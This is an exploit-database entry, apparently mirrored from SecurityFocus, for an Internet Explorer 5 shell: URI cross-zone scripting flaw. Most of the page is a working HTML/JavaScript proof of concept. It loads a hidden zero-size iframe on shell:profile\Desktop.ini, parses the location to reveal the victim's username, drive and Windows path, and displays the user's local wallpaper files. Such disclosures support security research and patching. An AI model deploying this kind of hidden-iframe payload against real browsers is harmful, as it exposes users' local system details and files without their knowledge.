Microsoft Internet Explorer 5 Shell: IFrame Cross-Zone Scripting Vulnerability (1)

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft Internet Explorer 5 Shell: IFrame Cross-Zone Scripting Vulnerabilit


                                                source: http://www.securityfocus.com/bid/9628/info

It has been alleged that Microsoft Internet Explorer is prone to a weakness that may potentially allow for the execution of hostile script code in the context of the My Computer Zone. This issue is related to how shell: URIs are handled by the browser. It should also be noted that shell: URIs may be used to reference local content in the same manner as file:// URIs.

Update: Although unconfirmed, further reports indicate that MSN messenger version 6.2.0137, Microsoft Word, Outlook 2003, and Outlook Express may also potentially provide exploitation vectors for this vulnerability.

&#60;html&#62;
&#60;head&#62;
&#60;/head&#62;
&#60;body onload=setTimeout(&#34;exploit()&#34;,4*100);&#62;
&#60;iframe id=&#34;Target&#34; width=&#34;0&#34; height=&#34;0&#34;
src=&#34;shell:profile\Desktop.ini&#34; name=&#34;Target&#34; scrolling=&#34;yes&#34;&#62;
&#60;/iframe&#62;
&#60;SCRIPT language=JavaScript&#62;
function exploit(){
loc=new String(Target.location);
var len=loc.length
var n=loc.indexOf(&#34;Settings&#34;)+9;
var m=loc.indexOf(&#34;System32&#34;);
preuser=new String(loc.substring(n,len));
p=preuser.indexOf(&#34;\\&#34;);
user=new String(preuser.substring(0,p));
winloc=new String(loc.substring(6,m));
q=winloc.indexOf(&#34;\\&#34;);
rootdrive=new String(winloc.substring(0,q+1));
targetwin=window.open(&#34;&#34;);
targetwin.document.write(&#34;&#60;b&#62;Username :&#60;/b&#62; &#34;+user+&#34;&#60;br&#62;&#34;);
targetwin.document.write(&#34;&#60;b&#62;root drive :&#60;/b&#62; &#34;+rootdrive+&#34;&#60;br&#62;&#34;)
targetwin.document.write(&#34;&#60;b&#62;location of windows folder :&#60;/b&#62;
&#34;+winloc+&#34;&#60;br&#62;&#34;)
targetwin.document.write(&#34;&#60;b&#62;location of user profile
:&#60;/b&#62;&#34;+rootdrive+&#34;Documents and Settings\\&#34;+user+&#34;\\&#34;);
targetwin.document.write(&#34;&#60;br&#62;&#60;br&#62;&#60;b&#62;Wallpaper :&#60;/b&#62;&#60;br&#62;&#60;br&#62;&#60;img
border=0 src=&#39;&#34;+rootdrive+&#34;Documents and Settings\\&#34;+user+&#34;\\Local
Settings\\Application Data\\Microsoft\\Wallpaper1.bmp&#39; width=30%
height=30%&#62;&#34;)
targetwin.document.write(&#34;&#60;br&#62;&#60;br&#62;&#60;b&#62;internet explorer wallpaper
:&#60;/b&#62;&#60;br&#62;&#60;br&#62;&#60;img border=0 src=&#39;&#34;+rootdrive+&#34;Documents and
Settings\\&#34;+user+&#34;\\Application Data\\Microsoft\\Internet
Explorer\\Internet Explorer Wallpaper.bmp&#39; width=30%
height=30%&#62;&#60;br&#62;&#60;br&#62;&#34;)
}
&#60;/SCRIPT&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1